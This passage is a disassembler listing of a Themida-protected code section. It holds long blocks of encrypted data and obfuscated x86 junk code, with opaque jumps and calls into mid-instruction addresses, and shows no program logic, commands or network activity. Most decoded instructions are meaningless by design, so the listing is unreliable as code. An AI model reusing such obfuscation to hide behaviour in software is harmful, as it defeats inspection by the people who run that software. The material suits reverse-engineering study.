		dd 66C68B66h, 5C5FD781h, 0FAE88166h, 5E85038h, 0F1000000h
		dd 0F35CBFFh, 5F595F52h, 0CE9h,	897F1600h, 8B77BD54h, 0A8E6F944h
		dd 0D4BF607Bh, 66087498h, 612BA2BEh, 61B0B460h,	58E0Fh
		dd 0C9BE0000h, 66120352h, 113ADB81h, 16820Fh, 11E90000h
		dd 7000000h, 0FDFA98Ch,	0D2FA7095h, 5009B593h, 6FA035F2h
		dd 8E8h, 9CBF5400h, 4DAD58DFh, 0D9BF0FEBh, 0E981665Bh
		dd 0D38B729Bh, 14E9F5h,	0A8D30000h, 0C32D70FEh,	71D9858Ch
		dd 91977F44h, 1963BB2Fh, 0FF53C2Ch, 810FC9B7h, 2, 8B66F28Bh
		dd 0FE9F7h, 0EF270000h,	0C1A67907h, 0F460C5DAh,	0DABB2858h
		dd 0C281FC67h, 736E3C8Fh, 6E9h,	54472500h, 52AF2B23h, 0D05EA9B9h
		dd 0AE95A2Bh, 75000000h, 0D45BCD92h, 0A059C4A1h, 10E9A3h
		dd 30AE0000h, 99A681D2h, 2A10C2FBh, 0AC91C282h,	0D78163C7h
		dd 51C65944h, 0D9BF0FF5h, 0FE9h, 7F61D800h, 229E772Ah
		dd 0B5EF713h, 5B6CD62Ch, 0F50D38Bh, 188h, 0F58F500h, 1885h
		dd 13E900h, 0F87C0000h,	0CD5C865Eh, 290DBA75h, 3BA72F4Dh
		dd 9D4D570Ah, 0D2B70F09h, 5750CF8Bh, 1FDBBF66h,	8CBF5B59h
		dd 606401D6h, 8D0F6061h, 3, 6135E480h, 2870F53h, 60000000h
		dd 8B665E61h, 3880FF3h,	0F000000h, 0DE9FFBFh, 36000000h
		dd 0FBEFAB85h, 34551348h, 4C171B75h, 38F0Fh, 0F3800000h
		dd 0CE9F2h, 43B10000h, 1077BC03h, 4C84F789h
		dd 0E980006Dh, 0F6E08175h, 0E93F3102h, 0Bh, 0FEB16ABh
		dd 0E8F856E1h, 0F263C05h, 68Dh,	3FF38100h, 0BE0FABA8h
		dd 5FFAD20Bh, 2BD78166h, 0BE905h, 0FB40000h, 0C8AFF110h
		dd 418B22A6h, 0B8665734h, 0F5EAB28h, 0F080F1B7h, 0A5E980BAh
		dd 0EE9h, 35C8B400h, 1CE2636Eh,	0D6A31B61h, 66F03309h
		dd 0BEABD3BBh, 70C92E53h, 7806BB66h, 0E94B7FBBh, 860F577Dh
		dd 6, 860Fh, 0F590000h,	0E380C3B7h, 0C28B667Bh,	5820Fh
		dd 0D9B80000h, 0F96E82E0h, 8166ACB2h, 0E9C20BE2h, 0Ah
		dd 78E22797h, 0C5FDD3E2h, 0CB8B1289h, 0CDD88166h, 0D7B70F96h
		dd 38D0Fh, 0D8800000h, 4880FF3h, 66000000h, 0B9D09CBBh
		dd 3CC639D0h, 0ABDCF9B8h, 9E934h, 8F190000h, 50A616DCh
		dd 0F8B2FBA9h, 10E8F9h,	5CD10000h, 3E053286h, 0FB617C9Dh
		dd 1A89DDCAh, 14E8F6B7h, 0F3000000h, 438CE125h,	9A44966Ch
		dd 5AECBD93h, 8BCB15D3h, 81730348h, 0ACF5D8CFh,	0B95B5965h
		dd 3DFC19E4h, 81665A56h, 0E9DC77C0h, 0Eh, 43E5A19h, 7227A76Bh
		dd 515E1D03h, 0AE9A48Fh, 0E3000000h, 0B9534581h, 5D203572h
		dd 15810F46h, 0E9000000h, 10h, 38EBC944h, 72A2F9Ah, 0CD6D934Ah
		dd 0BC68A25Ch, 0BFB6F681h, 0C1812DB2h, 740B1F87h, 6E9D78Bh
		dd 0B2000000h, 872F2DA4h, 5AE680E7h, 3D5F1AB8h,	11E870h
		dd 0AAC60000h, 655D3937h, 40714B4h, 0C7C0B122h,	0F7B9DB7h
		dd 8B5FD1B7h, 8E9C8h, 0FB730000h, 2125330Ch, 840F9B59h
		dd 17h,	12E9h, 7437FF00h, 0F2FE1A86h, 5F7AB4E3h, 7FA31218h
		dd 532EBAFCh, 0CE9F95Fh, 0F000000h, 3DFC382Dh, 94ED015Dh
		dd 8B29D728h, 0C88B66F0h, 168A0Fh, 66600000h, 0E8B6B1B8h
		dd 0Ah,	2CB156B8h, 25C0DF14h, 615E6690h, 6E9h, 0EAB2E700h
		dd 0FD4E3D2h, 185h, 8E9F900h, 3F000000h, 84F30017h, 0E8423FB8h
		dd 9, 0D6450235h, 0FB300D4Bh, 5948B02Bh, 9E9h, 0FB6B0800h
		dd 74A41BC4h, 0D78B2A9Dh, 6E9h,	0BAB8100h, 6645839Bh, 83B0DF8Bh
		dd 0E63C96BAh, 60606051h, 66606161h, 8A0FD08Bh,	0
; ---------------------------------------------------------------------------
		popa
		popa
		jb	loc_5D0C63
		jmp	loc_5D0C63
; ---------------------------------------------------------------------------
		db 63h,	93h, 0D4h
		dd 0B05BE999h
		db 2Bh,	9Ah, 0D0h
; ---------------------------------------------------------------------------


loc_5D0C63:				; CODE XREF: Themida_:005D0C4Ej
					; Themida_:005D0C54j
		movsx	ecx, dx
		sbb	di, 915h
		js	loc_5D0C83
		call	near ptr loc_5D0C78+4
		mov	word ptr [ebx],	ss


loc_5D0C78:				; CODE XREF: Themida_:005D0C71p
		mov	ecx, 0FB95CB2h
		pop	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
		db 2 dup(0), 5Eh
; ---------------------------------------------------------------------------


loc_5D0C83:				; CODE XREF: Themida_:005D0C6Bj
		pusha
		push	ebx
		sub	si, 0E85Ah
		pop	edx
		movsx	ecx, di
		popa
		stc
		movsx	ecx, ax
		jmp	loc_5D0CAA
; ---------------------------------------------------------------------------
		dd 0B7E69E93h, 4C287372h, 20E9FD1h, 0E52673F0h
; ---------------------------------------------------------------------------
		jo	short loc_5D0CD4


loc_5D0CAA:				; CODE XREF: Themida_:005D0C93j
		push	esi
		pop	edx
		mov	ch, 0C5h
		jmp	loc_5D0CC1
; ---------------------------------------------------------------------------
		cmp	[eax+14DA3687h], bl
		fucom	st(3)
		leave
		enter	0FFFFEC30h, 0BFh
		movsb


loc_5D0CC1:				; CODE XREF: Themida_:005D0CAEj
		jmp	loc_5D0CD8
; ---------------------------------------------------------------------------
		dw 7BF5h
		dd 246B9348h, 707F0795h, 0E5076BA4h
; ---------------------------------------------------------------------------


loc_5D0CD4:				; CODE XREF: Themida_:005D0CA8j
		inc	edi
		xchg	eax, esp
; ---------------------------------------------------------------------------
		dw 39Ah
; ---------------------------------------------------------------------------


loc_5D0CD8:				; CODE XREF: Themida_:loc_5D0CC1j
		mov	ecx, 716ADD7Ch
		mov	eax, 3A90681Fh
		movzx	ebx, cx
		pusha
		jz	loc_5D0CEE
		push	esi
		pop	eax


loc_5D0CEE:				; CODE XREF: Themida_:005D0CE6j
		movzx	edi, dx
		popa
		movsx	ebx, ax
		mov	edx, 77AC0688h
		cmc
		pusha
		call	sub_5D0D13
		adc	eax, 2F21E3F5h
		dec	ebx
		mov	ah, 0E2h
		aaa
		adc	dword ptr [ecx+48h], 0DD810B19h
		into
		push	ds

; =============== S U B	R O U T	I N E =======================================



sub_5D0D13	proc near		; CODE XREF: Themida_:005D0CFCp
		mov	eax, 146AE504h
		pop	esi
		jbe	loc_5D0D22
		mov	si, ax


loc_5D0D22:				; CODE XREF: sub_5D0D13+6j
		popa
		add	ax, 0C397h
		sbb	di, 3783h
		mov	edi, 40B8D3BFh
		mov	ah, 0A8h
		mov	cx, si
		jmp	loc_5D0D50
; ---------------------------------------------------------------------------
		dd 6A01508Eh, 2F68ABF0h, 0A8A40F88h, 7CC86599h,	0BC08EFE2h
; ---------------------------------------------------------------------------


loc_5D0D50:				; CODE XREF: sub_5D0D13+24j
		or	cl, 0B4h
		jmp	loc_5D0D6B
; ---------------------------------------------------------------------------
		dd 41919141h, 8E9C4042h, 0A31F73F7h, 712503FAh
; ---------------------------------------------------------------------------
		clc
		std
		lodsb


loc_5D0D6B:				; CODE XREF: sub_5D0D13+40j
		mov	edx, 754D2B53h
		jl	loc_5D0D7C
		jns	$+6


loc_5D0D7C:				; CODE XREF: sub_5D0D13+5Dj
		mov	dx, di
		mov	edx, 4E0C794Fh
		sub	ecx, 5890CDC7h
		movzx	ecx, si
		movsx	ebx, dx
		jmp	loc_5D0DA6
; ---------------------------------------------------------------------------
		db 79h,	0EDh, 3Ch
		dd 2BCFAFCEh, 2E09A5Bh,	589C2A82h
		db 0C0h
; ---------------------------------------------------------------------------


loc_5D0DA5:				; CODE XREF: sub_5D0D13+A7j
		movsb


loc_5D0DA6:				; CODE XREF: sub_5D0D13+7Dj
		call	near ptr loc_5D0DBA+1
		dec	edx
		out	dx, eax
		mov	al, ds:0C25CED99h
		pop	ebx
		rol	dword ptr [eax+ebx*4-5F4B2ECDh], cl


loc_5D0DBA:				; CODE XREF: sub_5D0D13:loc_5D0DA6p
		jz	short loc_5D0DA5
sub_5D0D13	endp ; sp-analysis failed

		or	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
		dd 0F8EA206Ch, 9151A88Ch, 8B5EEB81h, 0E8CA8BFEh, 12h, 0CB137666h
		dd 9923A279h, 0B95EF55Eh, 2FB300D7h, 5E862EDh, 0FB000000h
		dd 8D25072Bh, 14E9h, 3E792F00h,	68BE9A9h, 24C345F1h, 3E74AF2Dh
		dd 32CA4EFEh, 0F5F5F01h, 87h, 12E900h, 54330000h, 11BB35AFh
		dd 129B8C99h, 84B8F374h, 5B254D6Fh, 0FE8B5160h,	0C1C3805Eh
		dd 38A0F61h, 80000000h,	0BE6044EBh, 1CBEB75Ah, 0DE8h, 64315100h
		dd 5B23C443h, 0BAB11C52h, 0BF66FE81h, 61583B5Bh, 0CBEB8150h
		dd 5E4ECED8h, 4176E181h, 0F5804F45h, 0C4B9660Ah, 0B9D681D1h
		dd 0F4CC77Eh, 1E8Eh, 13E800h, 4BFC0000h, 0F60C5023h, 2C18A97Fh
		dd 0F6DDF9ADh, 0BB7801CEh, 0D881660Ah, 8A5828CAh, 666050F7h
		dd 8A6A99BEh, 0F55961EFh, 2DB0D881h, 0DA8B17CDh, 51FB8B66h
		dd 59D2B70Fh, 9E9h, 78917600h, 4A2930ABh, 6E96CE5h, 5D000000h
		dd 294F1B4Dh, 5656B73Fh, 13E9h,	0E3A3A00h, 3EC1A277h, 4A628EA1h
		dd 208B0360h, 0E387BBD3h, 5158BE5Ah, 0E8FC2112h, 12h, 56568778h
		dd 61552E97h, 0B73BD212h, 0BC0343B1h, 0B8661077h, 5658C364h
		dd 58D08B66h, 57C18B60h, 5094BB66h, 870F615Ah, 3, 60FFBF0Fh
		dd 0FACA8166h, 8B6660A8h, 8600BBFBh, 61615B11h,	5E9F5h
		dd 0FB170000h, 5787C7D0h, 7B49EB81h, 0B65952DEh, 77E78081h
		dd 8C0Fh, 0F78B0000h, 0BDFBE181h, 0BF0F1A87h, 0DA8B66D6h
		dd 8A0FF38Bh, 2, 0D18BD38Ah, 0DE9h, 1AB9EB00h, 6A794347h
		dd 0C8173718h, 0EE8139BEh, 751ED426h, 60C0B70Fh, 6850Fh
		dd 8D0F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D0FA3
; ---------------------------------------------------------------------------
		db 8Bh,	52h, 0ACh
		dd 6E82DE7Eh
		db 0B2h, 6Bh, 5
; ---------------------------------------------------------------------------


loc_5D0FA3:				; CODE XREF: Themida_:005D0F94j
		popa
		sub	ebx, 7B578AB0h
		pusha
		movsx	ebx, si
		mov	bx, ax
		popa
		push	edi
		jmp	loc_5D0FCA
; ---------------------------------------------------------------------------
		dd 7F9F4827h, 2D386498h, 5CDF407Bh, 0AB36A654h
		db 0C6h, 0EFh
; ---------------------------------------------------------------------------


loc_5D0FCA:				; CODE XREF: Themida_:005D0FB3j
		pop	esi
		jnp	loc_5D0FD7
		sbb	edx, 68238647h


loc_5D0FD7:				; CODE XREF: Themida_:005D0FCBj
		push	ebx
		pusha
		movsx	ebx, bx
		movsx	ebx, ax
		popa
		pop	esi
		movsx	edi, di
		jmp	loc_5D0FFA
; ---------------------------------------------------------------------------
		db 27h,	91h, 9Fh
		dd 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh
; ---------------------------------------------------------------------------
		movs	byte ptr es:[di], byte ptr [si]


loc_5D0FFA:				; CODE XREF: Themida_:005D0FE4j
		push	eax
		jmp	loc_5D1009
; ---------------------------------------------------------------------------
		dd 7BE4C757h, 100C8AB9h
		db 34h
; ---------------------------------------------------------------------------


loc_5D1009:				; CODE XREF: Themida_:005D0FFBj
		pop	ebx
		mov	cx, 0E570h
		add	ecx, 406385E9h
		mov	bx, ax
		jmp	loc_5D1030
; ---------------------------------------------------------------------------
		dd 4DE87093h, 0A2ADF778h, 26E484CFh, 40AA2950h,	18E62974h
; ---------------------------------------------------------------------------


loc_5D1030:				; CODE XREF: Themida_:005D1017j
		mov	dx, cx
		movzx	edi, cx
		movzx	ebx, si
		movzx	edx, cx
		and	bl, 32h
		mov	al, 0AFh
		jz	loc_5D1054
		jmp	loc_5D1054
; ---------------------------------------------------------------------------
		test	al, 5Eh
		jbe	short loc_5D108B
		jmp	short loc_5D1084
; ---------------------------------------------------------------------------
		dw 0D278h
; ---------------------------------------------------------------------------


loc_5D1054:				; CODE XREF: Themida_:005D1041j
					; Themida_:005D1047j
		mov	edi, eax
		call	near ptr loc_5D1066+2
		test	[edi], cl
		pusha
		pop	esi
		db	3Eh
		and	ah, cl
		wait
		push	edx
		pop	esp
		pop	ecx


loc_5D1066:				; CODE XREF: Themida_:005D1056p
		or	[esi+0Fh], dh
		mov	edi, 7E859C2h
; ---------------------------------------------------------------------------
		dw 0
		dd 9497500h, 0CD6A9CFCh, 58CEB556h, 6E859h, 1C130000h
; ---------------------------------------------------------------------------


loc_5D1084:				; CODE XREF: Themida_:005D1050j
		mov	al, ds:6608260Ch
		mov	ebx, edx


loc_5D108B:				; CODE XREF: Themida_:005D104Ej
		pop	edi
		jmp	loc_5D10A2
; ---------------------------------------------------------------------------
		db 0D9h, 7Ah, 82h
		dd 0B8281FF2h, 0E443C463h, 8D67F9F7h
; ---------------------------------------------------------------------------
		lds	ebx, [ecx]


loc_5D10A2:				; CODE XREF: Themida_:005D108Cj
		jmp	loc_5D10B4
; ---------------------------------------------------------------------------
		db 58h
		dd 0A2977ABCh, 0D15B7821h, 0B767D38Ch
; ---------------------------------------------------------------------------


loc_5D10B4:				; CODE XREF: Themida_:loc_5D10A2j
		mov	dx, ax
		add	bl, 5Eh
		jmp	loc_5D10CE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 9ED2C775h, 8DC7A697h, 0F6A4CDA5h
		db 0C7h, 5Dh
; ---------------------------------------------------------------------------


loc_5D10CE:				; CODE XREF: Themida_:005D10BAj
		call	sub_5D10DE
		hlt
; ---------------------------------------------------------------------------
		dd 7F905406h, 7DF8F143h
		db 9Ah,	0F2h

; =============== S U B	R O U T	I N E =======================================



sub_5D10DE	proc near		; CODE XREF: Themida_:loc_5D10CEp
		sub	dx, 0DFBAh
		pop	edi
		call	near ptr locret_5D10EE+1
		mov	edx, 11A2E771h

locret_5D10EE:				; CODE XREF: sub_5D10DE+6p
		retn	58F9h
sub_5D10DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jno	loc_5D10FA
		movsx	eax, bx


loc_5D10FA:				; CODE XREF: Themida_:005D10F1j
		push	eax
		pop	esi
		and	edi, 111A9516h
		jmp	loc_5D110C
; ---------------------------------------------------------------------------
		db 4
		dd 0ECC100D5h
; ---------------------------------------------------------------------------


loc_5D110C:				; CODE XREF: Themida_:005D1102j
		sub	ecx, 0B9942C5h
		mov	edx, ebx
		jmp	loc_5D1125
; ---------------------------------------------------------------------------
		db 0FFh, 41h, 20h
		dd 7834F269h, 15F750F4h
		db 0E7h
; ---------------------------------------------------------------------------


loc_5D1125:				; CODE XREF: Themida_:005D1114j
		jge	loc_5D112E
		movzx	edx, dx


loc_5D112E:				; CODE XREF: Themida_:loc_5D1125j
		jnp	loc_5D1139
		and	si, 0DF3Ch


loc_5D1139:				; CODE XREF: Themida_:loc_5D112Ej
		jmp	loc_5D1144
; ---------------------------------------------------------------------------
		dw 5C6h
		dd 1C04694Ah
; ---------------------------------------------------------------------------


loc_5D1144:				; CODE XREF: Themida_:loc_5D1139j
		push	ebx
		or	di, 0B8C7h
		pop	edi
		clc
		mov	ch, dl
		mov	ch, 2Ch


loc_5D1150:				; CODE XREF: Themida_:005D11BDj
		jno	loc_5D1159
		mov	bx, di


loc_5D1159:				; CODE XREF: Themida_:loc_5D1150j
		mov	edx, 2EB5E301h
		jp	loc_5D1169
		xor	ax, 0F291h


loc_5D1169:				; CODE XREF: Themida_:005D115Ej
		jp	loc_5D1174
		mov	edi, 73BBFED8h


loc_5D1174:				; CODE XREF: Themida_:loc_5D1169j
		call	near ptr loc_5D1182+5
		mov	ebx, 0C7D6A9F5h
		jge	short near ptr loc_5D119A+5
		int	86h		; Relocated (by	NETBIOS) INT 18


loc_5D1182:				; CODE XREF: Themida_:loc_5D1174p
		adc	dword ptr [edx], 0BF423932h
		jge	short near ptr loc_5D11EA+5
		xchg	eax, ebx
		das
		pop	edx
		jmp	loc_5D1198
; ---------------------------------------------------------------------------
		retn	0E85Eh
; ---------------------------------------------------------------------------
		cmp	edx, [ebp-14h]


loc_5D1198:				; CODE XREF: Themida_:005D118Dj
		mov	bh, ah


loc_5D119A:				; CODE XREF: Themida_:005D117Ej
		jo	loc_5D11A6
		jg	$+6


loc_5D11A6:				; CODE XREF: Themida_:loc_5D119Aj
		jg	loc_5D11AF
		movsx	eax, si


loc_5D11AF:				; CODE XREF: Themida_:loc_5D11A6j
		cmc
		mov	dh, 0D5h
		call	near ptr loc_5D11C4+1
		inc	esi
		pop	esi
		test	al, ch
		push	5Ch
		jno	short loc_5D1150
		mov	eax, ds:5FF5395Fh


loc_5D11C4:				; CODE XREF: Themida_:005D11B2p
		sub	eax, 59D3BF0Fh
		jle	loc_5D11D8
		js	loc_5D11D8
		mov	si, ax


loc_5D11D8:				; CODE XREF: Themida_:005D11C9j
					; Themida_:005D11CFj
		movsx	edx, di
		movzx	eax, si
		push	eax
		pop	edx
		add	edi, 0DEBB185h
		mov	si, 0A306h


loc_5D11EA:				; CODE XREF: Themida_:005D1188j
		jnb	loc_5D11F2
		mov	edi, edx


loc_5D11F2:				; CODE XREF: Themida_:loc_5D11EAj
		movsx	edx, di
		jmp	loc_5D120B
; ---------------------------------------------------------------------------
		dw 7985h
		dd 25198A14h, 0C2B03CAFh, 0B2B0CC67h
		db 0CDh, 7Bh, 20h
; ---------------------------------------------------------------------------


loc_5D120B:				; CODE XREF: Themida_:005D11F5j
		mov	bl, ah
		jmp	loc_5D1222
; ---------------------------------------------------------------------------
		dw 105Ch
		dd 0F207E2E4h, 0F930DBD2h, 0F626A27Ah
		db 0E1h, 3Fh
; ---------------------------------------------------------------------------


loc_5D1222:				; CODE XREF: Themida_:005D120Dj
		mov	edx, 336C979Fh
		sub	eax, 527BF0FAh
		and	si, 7FB9h
		mov	dx, 0B0AEh
		mov	ecx, edx
		jge	loc_5D1245
		jle	loc_5D1245
		stc


loc_5D1245:				; CODE XREF: Themida_:005D1238j
					; Themida_:005D123Ej
		push	ebx
		pop	ebx
		sbb	esi, 16751BE0h
		jmp	loc_5D1260
; ---------------------------------------------------------------------------
		dw 5B64h
		dd 3EB516EDh, 0D68D7E4Dh, 777D2FC3h
; ---------------------------------------------------------------------------


loc_5D1260:				; CODE XREF: Themida_:005D124Dj
		sub	si, 4D20h
		push	ebx
		mov	si, 0D00Fh
		pop	edi
		or	ecx, 0A7FB778h
		push	ebx
		jo	loc_5D127B
		mov	bx, ax


loc_5D127B:				; CODE XREF: Themida_:005D1272j
		pop	ebx
		jp	loc_5D1293
		jmp	loc_5D1293
; ---------------------------------------------------------------------------
		align 4
		dd 78B83723h, 0B7DF6138h
		db 25h,	0BDh, 0DEh
; ---------------------------------------------------------------------------


loc_5D1293:				; CODE XREF: Themida_:005D127Cj
					; Themida_:005D1282j
		pusha
		mov	ecx, esi
		pusha
		call	sub_5D12A3
		call	far ptr	2899h:0B523DE81h

; =============== S U B	R O U T	I N E =======================================



sub_5D12A3	proc near		; CODE XREF: Themida_:005D1297p
		pop	edx
		jge	$+6
		popa
		popa
		mov	ax, di
		call	near ptr loc_5D12B7+2
		push	dword ptr [eax+24h]


loc_5D12B7:				; CODE XREF: sub_5D12A3+Cp
		cmp	[ebp-17h], ch
sub_5D12A3	endp ; sp-analysis failed

		adc	eax, [eax]
; ---------------------------------------------------------------------------
		dd 40E40000h, 5532B6EEh, 0EFD6419Dh, 0FF5323BCh, 0EF0F59FDh
		dd 0B86659DFh, 0B8669704h, 0DA8B1576h, 16830F56h, 0E9000000h
		dd 11h,	0E5D9117Bh, 374A9339h, 19D413D9h, 0FE0BD3Fh, 8B66598Ch
		dd 0BCE181F7h, 0E94BEE0Eh, 12h,	362178F7h, 311FD1CCh, 0B85AABCAh
		dd 6EBC4C05h, 850FB244h, 2, 12E8DAB6h, 8B000000h, 839985Ah
		dd 35D94156h, 96E1CF45h, 748A71E7h, 58F0F6Bh, 0BF000000h
		dd 2C4AD456h, 0D18B665Bh, 6660DF8Bh, 0F98C1B8h,	0F861FABFh
		dd 0CE860h, 86650000h, 0F09BAE9h, 96BE6F1Fh, 0A3B0D756h
		dd 830F605Bh, 0
		dd 6161FFB2h, 0B1F9B70Fh, 0B70F60D9h, 6661F5CFh, 8166D38Bh
		dd 8AAA57D7h, 0E38166C3h, 8B666228h, 2CF081D8h,	0F511D56Ah
		dd 66C9B70Fh, 816FC5BFh, 0FC664C1h, 58D0F0Dh, 66000000h
		dd 0B6DBD181h, 0DE8h, 2A4F4600h, 192F5F27h, 0C3201B10h
		dd 0FBF5111h, 5F66FC57h, 8CF38166h, 7FB5BB5Ah, 12E921AAh
		dd 0B1000000h, 4976EC99h, 0D634A074h, 0C8081A4h, 64393C06h
		dd 0BE8CBh, 7F3D0000h, 0E93F6596h, 0C449A6F1h, 870F5F41h
		dd 1Dh,	13E860h, 9F510000h, 3D1D708Eh, 398A3474h, 8CC0B0AAh
		dd 5EAA6790h, 8CB259C0h, 12E961h, 9E6B0000h, 9E302A4Eh
		dd 632BB765h, 6725089h,	0BD957ACAh, 0AE9h, 1D1BCB00h, 0DD9BADA6h
		dd 0E97BA9D0h, 0Dh, 655F58Fh, 3DEDE02Bh, 7EDF5284h, 0C881662Fh
		dd 0E3815A1Ah, 601C7C40h, 8166F38Bh, 600A17D8h,	59C3B553h
		dd 14E8h, 5BB1BF00h, 0A7C4B7F8h, 6440BA36h, 63065D60h
		dd 0EE13EBBAh, 6E947h, 88790000h, 41ECB229h, 0E1806158h
		dd 0C1816690h, 830FADF1h, 8, 2810Fh, 0CE8B0000h, 0FE9h
		dd 32BCD000h, 0CFB7333h, 59212533h, 0DFF3299Bh,	23F3D9BBh
		dd 0A5D58079h, 2A2EF8BAh, 0E9C18B6Ch, 0Dh, 169C6882h, 2E844966h
		dd 0D4059A4h, 2AE781C7h, 0F797559h, 0A8Fh, 4860F00h, 66000000h
		dd 0F7B97BFh, 810FD0B7h, 15h, 0DE8h, 3F0E7200h,	98808D58h
		dd 0E8C79B7Fh, 0DA8BD43Ah, 0A7BFF859h, 0E91A8C39h, 5, 871D82A7h
		dd 0E928B165h, 8, 0ABFBB08Bh, 0DC562DD5h, 0BE8h, 235BF200h
		dd 8D1635E0h, 0B9FE83FEh, 81665EF9h, 66D04AD3h,	0FF64E381h
		dd 65B2B966h, 8E8h, 0AA941700h,	0CBE14A8Dh, 0DE8B6667h
		dd 0CE95Ah, 0D37C0000h,	0CA6EAAD7h, 877283D2h, 0E960A7B0h
		dd 8, 387FFFC5h, 485D5A3Eh, 0CC14BF61h,	830F25E0h, 3, 66C88B66h
		dd 661479BEh, 0F0A90BFh, 689h, 0C1C28100h, 0B07A4038h
		dd 0CE915h, 35580000h, 7E3B7BFEh, 5D2C2853h, 66573DFAh
		dd 5AB1C1BBh, 0E9D78B66h, 0Fh, 0A72330C5h, 29CCAEAFh, 8A6472CEh
		dd 6008E1C9h, 10E952h, 15E90000h, 9160C899h, 2F00BA2h
		dd 4E799FF2h, 0F5E09D3h, 8Dh, 0F606100h, 682h, 8A0F00h
		dd 61000000h, 0E19E2B8h, 7870F1Ah, 0F000000h, 186h, 5E57F800h
		dd 850Fh, 0BF0F0000h, 2830FD2h,	8B000000h, 0C78B66D8h
		dd 66D7B70Fh, 0E97E56BBh, 0Fh, 7962D77Bh, 60963ABh, 0ABD3957h
		dd 0E8D1A519h, 6, 3ECFFC22h, 0E88A40A7h, 0D781665Ah, 3EBBA96Bh
		dd 0E9287252h, 11h, 17B91EBAh, 0D0C351CAh, 0D59A9E5Fh
		dd 606FE1C6h, 8C0F60FEh, 18h, 13E9h, 44066400h,	17DA98Ah
		dd 3E4D7E0Dh, 4FC20815h, 4F80BA76h, 61CFBF0Fh, 0BF66C68Bh
		dd 8166E0AEh, 66044BE0h, 56D47FBEh, 0F5FF78Bh, 8B66D3BFh
		dd 2840FDFh, 0B7000000h, 3880F26h, 0F000000h, 8166F8B7h
		dd 81FBD2F6h, 0C7BC79DEh, 12E80Ch, 0C1350000h, 9D2AADCFh
		dd 7251EB30h, 0E0D3B71Dh, 45D3EC5h, 7FF18159h, 0BB70097Ch
		dd 24F29E3Ch, 32CEC981h, 5E506C82h, 13E9h, 9C354600h, 0F216506Dh
		dd 0CE1E094Bh, 598D5399h, 0B619FD3Fh, 0DAD780F9h, 13E9h
		dd 0C98ED600h, 17D880CDh, 4F408BE3h, 0A9DDAA04h, 6DB9A40Eh
		dd 0ED4E63BEh, 0AE8F803h, 55000000h, 0ACC6D6F6h, 54464F12h
		dd 0EF805050h, 815F5E1Eh, 409319F0h, 0E9C28B59h, 0Ch, 8F2C32F7h
		dd 0DB15E349h, 2B03C00Dh, 0B2C2BF0Fh, 2CC5B870h, 0A1B43C7Ch
		dd 0EE952h, 0A2CE0000h,	1535A932h, 8DBDFADDh, 0D1600813h
		dd 0E99FB75Fh, 10h, 562C8B1Fh, 3F55C49Dh, 679FC019h, 90E63183h
		dd 0C1F28166h, 70CE81FFh, 0F0F48F4h, 0A85h, 8F0F6000h
		dd 0
; ---------------------------------------------------------------------------
		push	ecx
		pop	esi
		popa
		movsx	edx, si
		mov	bh, 0F4h
		jmp	loc_5D17CA
; ---------------------------------------------------------------------------
		db 4Eh,	0B8h, 59h
		dd 6AAEE5BCh, 0D6BEAFF7h, 5648683Eh
		db 81h,	42h
; ---------------------------------------------------------------------------


loc_5D17CA:				; CODE XREF: Themida_:005D17B4j
		push	ecx
		xor	si, 46CBh
		pop	edi
		pusha
		push	eax
		pusha
		popa
		pop	esi
		mov	esi, 58AE3E19h
		popa
		mov	eax, edx
		jmp	loc_5D17EE
; ---------------------------------------------------------------------------
		db 8Eh
		dd 450F0F79h, 0C93C36D1h
; ---------------------------------------------------------------------------
		sal	dword ptr [edx], cl


loc_5D17EE:				; CODE XREF: Themida_:005D17DEj
		mov	edi, ebx
		and	edi, 29E58274h
		add	dx, 8572h
		mov	edi, edx
		mov	ax, 0D986h
		mov	ax, 21D6h
		push	ebx
		mov	di, ax
		pop	esi
		mov	ch, 47h
		movzx	esi, bx
		mov	ecx, 206C9065h
		jmp	loc_5D181E
; ---------------------------------------------------------------------------
		db 0CEh, 2Bh, 68h
		db 0AFh, 79h
; ---------------------------------------------------------------------------


loc_5D181E:				; CODE XREF: Themida_:005D1814j
		mov	edx, edi
		call	sub_5D182C
		imul	ecx, [ecx+edi*4], 0E61DDB45h ; CODE XREF: sub_5D182C+12j
					; sub_5D182C+Aj

; =============== S U B	R O U T	I N E =======================================



sub_5D182C	proc near		; CODE XREF: Themida_:005D1820p
		mov	ebx, esi
		pop	esi
		call	near ptr loc_5D1845+2
		inc	edx
		inc	edi
		jnp	short near ptr loc_5D1825+5
		db	3Eh
		insb
		add	esi, [edi]
		cwde
		lodsb
		jl	short near ptr loc_5D1825+1
		xor	eax, 199CA1BCh


loc_5D1845:				; CODE XREF: sub_5D182C+3p
		not	dword ptr [esi-2F78377Fh]
sub_5D182C	endp ; sp-analysis failed

		pop	eax
		stc
		mov	edx, esi
		mov	al, ch
		jb	loc_5D1859
		stc


loc_5D1859:				; CODE XREF: Themida_:005D1852j
		mov	al, 6Ch
		movzx	ecx, cx
		jle	loc_5D1888
		call	sub_5D187D
		push	eax
		pop	eax
		xchg	eax, esp
		xchg	eax, ebp
		mov	bh, 0DBh
		db	67h
		dec	edi
		inc	ebp
		adc	[ebx-51h], esp
		retf	7E59h
; ---------------------------------------------------------------------------
		dd 8A3637E1h
		db 13h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D187D	proc near		; CODE XREF: Themida_:005D1864p
		jmp	sub_5D1887
sub_5D187D	endp

; ---------------------------------------------------------------------------
		dw 8761h
		db 39h,	0Dh, 26h

; =============== S U B	R O U T	I N E =======================================



sub_5D1887	proc near		; CODE XREF: sub_5D187Dj
		pop	esi


loc_5D1888:				; CODE XREF: Themida_:005D185Ej
		and	eax, 6AC9987Dh
		xor	bh, 0A8h
		push	esi
		pop	ecx
		mov	ax, 0D0A3h
		and	edi, 4F6622DBh
		mov	eax, 5917C4CBh
		jmp	loc_5D18BA
; ---------------------------------------------------------------------------
		db 4Ch
		dd 4C070C2Fh, 0ECFAA286h, 7EFCA3C9h, 0D7ABEDAEh
		db 0D2h, 0CEh
; ---------------------------------------------------------------------------


loc_5D18BA:				; CODE XREF: sub_5D1887+1Bj
		pusha
		cmc
		adc	edi, 4CFA6F3h
		popa
		mov	ecx, edx
		call	near ptr loc_5D18D2+3
		sub	eax, edx
		add	eax, 4217614h
		xchg	eax, esp


